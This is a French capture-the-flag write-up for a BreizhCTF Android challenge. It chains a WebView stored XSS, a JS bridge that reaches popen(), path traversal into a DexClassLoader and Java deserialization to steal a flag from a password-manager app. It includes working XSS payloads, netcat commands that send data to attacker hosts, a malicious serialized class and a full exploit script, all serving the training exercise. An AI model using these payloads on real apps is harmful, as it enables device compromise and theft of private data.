Contexte
Cette année, l’association Bleizack a eu l’honneur de collaborer avec l’équipe du BreizhCTF en tant que challmakers.
Un grand merci à eux pour cette opportunité super cool, et un gros GG à toute la team infra ( ˆ𐃷ˆ) .ᐟ.ᐟ
Pour cette édition, j’ai eu le plaisir de développer deux challenges mobile Android, voici le writeup.
Rappel
Une WebView Android est un composant qui permet d’afficher du contenu web directement dans une application native. Lorsque JavaScript est activé, on peut exposer des objets natifs au JS via addJavascriptInterface() - c’est ce qu’on appelle un JS Bridge.
Côté Android, deux mécanismes vont nous intéresser pour pivoter d’une app à une autre :
- Les BroadcastReceivers exportés : composants qui acceptent des intents depuis n’importe quelle app du device
- Le DexClassLoader : permet de charger dynamiquement du bytecode Android (DEX) depuis un fichier arbitraire
Combinez les deux avec une ObjectInputStream.readObject() sur des données contrôlées par l’attaquant
Contexte du challenge
BzhMessenger est une app de messagerie Android (Kotlin/Jetpack Compose) avec une interface Discord-like. Les joueurs interagissent via une interface web (chat Flask) et un bot Android tourne sur l’infra CTF (AVD Docker). Le bot visite périodiquement les channels et rend les messages dans une WebView.
L’objectif : exploiter une chaine XSS -> JS Bridge -> RCE native pour pivoter vers VaultPass (un password manager installé sur le même device) et récupérer le flag stocké dans son stockage privé.
TL;DR
Stored XSS (WebView) -> JS Bridge -> popen RCE (BzhMessenger)
-> découverte VaultPass backup sur /sdcard/
-> écriture DEX malicieux sur /sdcard/
-> am broadcast avec path traversal + DexClassLoader
-> Java deserialization RCE dans VaultPass
-> flag
Étape 1 - Reconnaissance statique
Commençons par décompiler l’APK de BzhMessenger :
jadx -d out bzh-messenger.apk
On découvre un projet Kotlin/Compose classique avec :
- Une WebView qui charge les messages en HTML depuis le serveur Flask
- Un JS Bridge
NativeBridgeexposé au JavaScript - Une lib native
libimageproc.solinkée avec ImageMagick - L’URL du serveur en dur dans
ApiConfig.kt:http://forum.ctf.bzh - Permission
MANAGE_EXTERNAL_STORAGE(accès écriture/sdcard/)
1.1 La WebView et son JS Bridge
Dans MainActivityKt.java (jadx), la création de la WebView avec JavaScript activé et un bridge natif :
WebView webView = new WebView($context);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setDomStorageEnabled(true);
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setMixedContentMode(0);
webView.setWebViewClient(new WebViewClient());
webView.setWebChromeClient(new WebChromeClient());
webView.addJavascriptInterface(new ImageBridge($context), "NativeBridge");
webView.loadUrl(ApiClient.INSTANCE.getMessageViewUrl($token, $channelId));

1.2 Le JS Bridge - ImageBridge.java
public final class ImageBridge {
private final OkHttpClient client;
private final Context context;
private boolean initialized;
private final native void nativeInit(String basePath);
private final native String nativeProcessImage(String path);
@JavascriptInterface
public final void setup() throws IOException {
copyAssetsOnce();
String absolutePath = this.context.getFilesDir().getAbsolutePath();
nativeInit(absolutePath);
this.initialized = true;
}
@JavascriptInterface
public final String processImage(String path) {
String localPath;
if (!this.initialized) {
return "Error: Bridge not initialized. Call setup() first.";
}
try {
String url = StringsKt.startsWith$default(path, "http", false, 2, (Object) null)
? path
: ApiConfig.BASE_URL + path;
Request request = new Request.Builder().url(url).build();
Response response = this.client.newCall(request).execute();
// ... download to cache ...
localPath = cacheFile.getAbsolutePath();
} catch (Exception e) {
localPath = path; // Download échoue -> path brut passé au natif
}
return nativeProcessImage(localPath);
}
static {
System.loadLibrary("imageproc");
}
}
Point clé : si le download échoue, le path original est passé tel quel au code natif. Garde ça en tête, ça va servir ;)
1.3 XSS dans le rendu des messages
Le contenu des messages est rendu sans échappement HTML. Le HTML/JS injecté sera exécuté dans la WebView du bot.
1.4 Reverse engineering de libimageproc.so
En ouvrant la lib native dans Ghidra, on observe :
if (*file_path == '|') {
pos = handle_pipe(file_path, result, sizeof(result));
}
Et la fonction handle_pipe :
static int handle_pipe(const char *path, char *out, size_t out_sz) {
FILE *fp = popen(path + 1, "r"); // Exécute tout ce qui suit le '|'
// ... lit stdout dans out ...
pclose(fp);
}
Si le path commence par |, le code strip le | et passe le reste à popen(). Combinez ça avec le fait que le path brut est passé au natif quand le download HTTP échoue.. et vous avez votre RCE.
Étape 2 - RCE via XSS + popen
2.1 Chaîne d’attaque
1. Le joueur envoie une XSS
2. Le bot visite le channel et trig la XSS
3. La WebView rend le HTML -> le handler onerror s'exécute
4. NativeBridge.setup() initialise ImageMagick
5. NativeBridge.processImage('|<commande>') -> download échoue -> path brut au natif
6. handle_pipe() détecte le '|' -> popen("<commande>", "r")
7. RCE sous l'UID de BzhMessenger
2.2 POC - exfiltration OOB
Lancer un listener :
nc -lvp 4444
Poster ce message dans le channel #general via l’API web :
<img src=x onerror="try{NativeBridge.setup();NativeBridge.processImage('|id | nc -w 3 10.0.2.2 4444');}catch(e){}">
On utilise `<img src=x onerror="...">` plutôt que `<script>` car le handler `onerror` s'exécute de manière fiable dans la WebView, indépendamment du JavaScript existant sur la page.
Résultat reçu sur le listener :
uid=10230(u0_a230) gid=10230(u0_a230) groups=10230(u0_a230),1077(external_storage),3003(inet),9997(everybody),20230(u0_a230_cache),50230(all_a230) context=u:r:untrusted_app_32:s0:c230,c256,c512,c768
Points intéressants :
- GID 1077 (
external_storage) : accès R/W à/sdcard/ - GID 3003 (
inet) : connexions réseau sortantes (nc vers l’attaquant) - SELinux
untrusted_app_32: contexte d’app standard, pas de restrictions spéciales
Étape 3 - Énumération et découverte de VaultPass
3.1 Listing du device
Depuis notre RCE, on peut énumérer :
<img src=x onerror="try{NativeBridge.setup();NativeBridge.processImage('|ls /sdcard/ | nc -w 3 10.0.2.2 4444');}catch(e){}">

La découverte de VaultPass se fait via son APK backup sur `/sdcard/Download/`, pas via `pm list packages` (qui est bloqué par le package visibility filtering d'Android 11+).
3.2 Exfiltration de l’APK VaultPass
<img src=x onerror="try{NativeBridge.setup();NativeBridge.processImage('|base64 /sdcard/Download/vaultpass-backup.apk | nc -w 10 10.0.2.2 4444');}catch(e){}">
Sur le host :
nc -lvp 4444 > vaultpass_b64.txt
base64 -d vaultpass_b64.txt > vaultpass.apk
md5sum vaultpass.apk
# babdaf2b75f983965a2cb32097f5f244 vaultpass.apk

3.3 Reverse engineering de VaultPass
jadx -d vaultpass_out vaultpass.apk
AndroidManifest.xml - Deux BroadcastReceivers exportés :
<receiver android:name=".PluginRegisterReceiver" android:exported="true">
<intent-filter>
<action android:name="com.breizhctf.vaultpass.REGISTER_PLUGIN" />
</intent-filter>
</receiver>
<receiver android:name=".PrefsImportReceiver" android:exported="true">
<intent-filter>
<action android:name="com.breizhctf.vaultpass.IMPORT_PREFS" />
</intent-filter>
</receiver>

PluginRegisterReceiver.java - Charge un DEX externe :
public final class PluginRegisterReceiver extends BroadcastReceiver {
public static final Companion INSTANCE = new Companion(null);
private static final String PLUGIN_DIR = "/data/data/com.breizhctf.vaultpass/";
private static ClassLoader pluginClassLoader;
@Override
public void onReceive(Context context, Intent intent) {
String dexPath = intent.getStringExtra("dexPath");
if (dexPath == null) {
return;
}
// Vérification bypass-able par path traversal :
if (!StringsKt.startsWith$default(dexPath, PLUGIN_DIR, false, 2, (Object) null)) {
Log.w("PluginRegister", "Path outside plugin dir: " + dexPath);
return;
}
try {
File src = new File(dexPath);
File dst = new File(context.getCacheDir(), "plugin_" + System.currentTimeMillis() + ".jar");
// ... copie src -> dst ...
dst.setReadOnly();
pluginClassLoader = new DexClassLoader(
dst.getAbsolutePath(),
context.getCodeCacheDir().getAbsolutePath(),
null, context.getClassLoader()
);
} catch (Throwable t) {
Log.e("PluginRegister", "Failed to load plugin", t);
}
}
}

Vulnérabilité 1 - Path traversal : Le check startsWith("/data/data/com.breizhctf.vaultpass/") est bypass-able :
/data/data/com.breizhctf.vaultpass/../../../storage/emulated/0/Download/pwn.jar
Ce path commence bien par /data/data/com.breizhctf.vaultpass/ mais résoud vers /storage/emulated/0/Download/pwn.jar. Bingo.
PrefsImportReceiver.java - Désérialise un objet Java :
public final class PrefsImportReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String b64 = intent.getStringExtra("prefs");
if (b64 == null) {
return;
}
try {
byte[] blob = Base64.decode(b64, 0);
final ClassLoader cl = PluginRegisterReceiver.INSTANCE.getPluginClassLoader();
if (cl == null) {
cl = context.getClassLoader();
}
final ByteArrayInputStream bais = new ByteArrayInputStream(blob);
Object imported = new ObjectInputStream(bais) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws ClassNotFoundException {
return Class.forName(desc.getName(), false, cl);
}
}.readObject(); // DESERIALIZATION !
} catch (Throwable t) {
Log.e("PrefsImport", "Import failed", t);
}
}
}

Vulnérabilité 2 - Java deserialization RCE : readObject() est appelé sur des données contrôlées par l’attaquant. Le resolveClass() custom utilise le pluginClassLoader chargé via la vuln 1. Si une classe malicieuse est dans le DEX chargé, son readObject() s’exécute sous l’UID de VaultPass.
3.4 Localisation du flag
En parcourant MainActivity.java :
private final void writeSecretFlag() {
File f = new File(getFilesDir(), "secret.key");
if (!f.exists()) {
FilesKt.writeText$default(f, "BZHCTF{fake_flag}", null, 2, null);
}
}
Le flag est écrit dans /data/data/com.breizhctf.vaultpass/files/secret.key. Fichier uniquement lisible par l’UID de VaultPass - il faut donc exécuter du code dans son contexte pour le lire.
Étape 4 - Exploitation de VaultPass
4.1 Le payload malicieux
Pwn.java - Classe malicieuse avec RCE dans readObject() :
package com.attacker.payload;
import java.io.*;
public class Pwn implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(new String[]{
"sh", "-c",
"cat /data/data/com.breizhctf.vaultpass/files/secret.key | nc -w 3 ATTACKER_IP 4444"
});
}
}
MakeBlob.java - Sérialise l’objet :
import java.io.*;
import com.attacker.payload.Pwn;
public class MakeBlob {
public static void main(String[] args) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("blob.bin"));
oos.writeObject(new Pwn());
oos.close();
}
}
4.2 Build chain
Prérequis : JDK 8+ et Android SDK (pour d8 et android.jar).
sudo apt update
sudo apt install -y curl unzip openjdk-17-jdk
mkdir -p ~/android-sdk/cmdline-tools
curl -o /tmp/cmdline-tools.zip "https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip"
unzip /tmp/cmdline-tools.zip -d /tmp/cmdline-tools-tmp
mkdir -p ~/android-sdk/cmdline-tools/latest
mv /tmp/cmdline-tools-tmp/cmdline-tools/* ~/android-sdk/cmdline-tools/latest/
export ANDROID_HOME="$HOME/android-sdk"
export PATH="$PATH:$ANDROID_HOME/cmdline-tools/latest/bin"
export PATH="$PATH:$ANDROID_HOME/platform-tools"
export PATH="$PATH:$ANDROID_HOME/build-tools/35.0.0"
yes | sdkmanager --licenses
sdkmanager "platforms;android-35" "build-tools;35.0.0" "platform-tools"
Compilation :
ANDROID_JAR=$ANDROID_HOME/platforms/android-35/android.jar
D8=$ANDROID_HOME/build-tools/35.0.0/d8
# Remplacer ATTACKER_IP par l'IP de votre serveur
sed -i 's/ATTACKER_IP/217.76.49.158/g' com/attacker/payload/Pwn.java
# Compiler Pwn.java
javac -cp $ANDROID_JAR --release 8 com/attacker/payload/Pwn.java
# Créer blob.bin (objet Pwn sérialisé)
javac -cp . MakeBlob.java
java -cp . MakeBlob
# Encoder blob.bin en base64
BLOB_B64=$(base64 -w0 blob.bin)
# Convertir Pwn.class en DEX Android
$D8 --lib $ANDROID_JAR --output pwn.jar com/attacker/payload/Pwn.class
# Encoder pwn.jar en base64
DEX_B64=$(base64 -w0 pwn.jar)

4.3 Payload XSS finale
La payload popen fait tout en une seule commande chainée :
- Écrit le DEX (
pwn.jar) sur/sdcard/Download/via base64 decode - Envoie un broadcast pour charger le DEX dans VaultPass (path traversal)
- Attend 2 secondes que le classloader soit prêt
- Envoie un broadcast pour déclencher la désérialisation -> RCE -> exfil du flag
Lancer le listener sur le serveur attaquant :
nc -lvp 4444
Poster la payload via curl :
TOKEN=$(curl -sf http://CHALLENGE_IP:8080/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"player","password":"bzhctf2026"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
STORAGE="/storage/emulated/0/Download/pwn.jar"
TRAVERSAL="/data/data/com.breizhctf.vaultpass/../../../storage/emulated/0/Download/pwn.jar"
PIPE_CMD="echo ${DEX_B64} | base64 -d > ${STORAGE}"
PIPE_CMD="${PIPE_CMD} && am broadcast --user 0 -n com.breizhctf.vaultpass/.PluginRegisterReceiver --es dexPath ${TRAVERSAL}"
PIPE_CMD="${PIPE_CMD} && sleep 2"
PIPE_CMD="${PIPE_CMD} && am broadcast --user 0 -n com.breizhctf.vaultpass/.PrefsImportReceiver --es prefs ${BLOB_B64}"
XSS="<img src=x onerror=\"try{NativeBridge.setup();NativeBridge.processImage('|${PIPE_CMD}');}catch(e){}\">"
curl -sf http://CHALLENGE_IP:8080/api/channels/general/messages \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"content\":$(python3 -c "import json; print(json.dumps('''$XSS'''))")}"

Contrainte de quoting : L'attribut HTML `onerror` utilise des double-quotes, la string JS utilise des single-quotes. La commande shell ne doit donc contenir ni single-quotes ni double-quotes - les valeurs `--es` de `am broadcast` n'en ont pas besoin car elles ne contiennent pas d'espaces.
4.4 Script d’exploitation automatisé
#!/usr/bin/env python3
"""Exploit complet : XSS -> popen -> VaultPass deser RCE -> flag"""
import requests
import base64
TARGET = "http://CHALLENGE_IP:8080"
r = requests.post(f"{TARGET}/api/auth/login",
json={"username": "player", "password": "bzhctf2026"})
token = r.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
with open("pwn.jar", "rb") as f:
dex_b64 = base64.b64encode(f.read()).decode()
STORAGE = "/storage/emulated/0/Download/pwn.jar"
TRAVERSAL = "/data/data/com.breizhctf.vaultpass/../../../storage/emulated/0/Download/pwn.jar"
BLOB = "rO0ABXNyABhjb20uYXR0YWNrZXIucGF5bG9hZC5Qd24AAAAAAAAAAQIAAHhw"
pipe_cmd = (
f"echo {dex_b64} | base64 -d > {STORAGE} "
f"&& am broadcast --user 0 -n com.breizhctf.vaultpass/.PluginRegisterReceiver "
f"--es dexPath {TRAVERSAL} "
f"&& sleep 2 "
f"&& am broadcast --user 0 -n com.breizhctf.vaultpass/.PrefsImportReceiver "
f"--es prefs {BLOB}"
)
xss = (
'<img src=x onerror="try{'
'NativeBridge.setup();'
f"NativeBridge.processImage('|{pipe_cmd}');"
'}catch(e){}">'
)
r = requests.post(f"{TARGET}/api/channels/general/messages",
headers=headers, json={"content": xss})
print(f"[+] Exploit posted: {r.json()['id']}")
print(f"[*] Start listener: nc -lvp 4444")
print(f"[*] Wait for bot to visit the channel...")
4.6 Flag \o/
BZHCTF{1_m1sS_Th3_pR3-4i_w0r7d_:(}
Remerciments
Merci à toute l’équipe du BreizhCTF c’était un réel plaisir, GG à tous ;)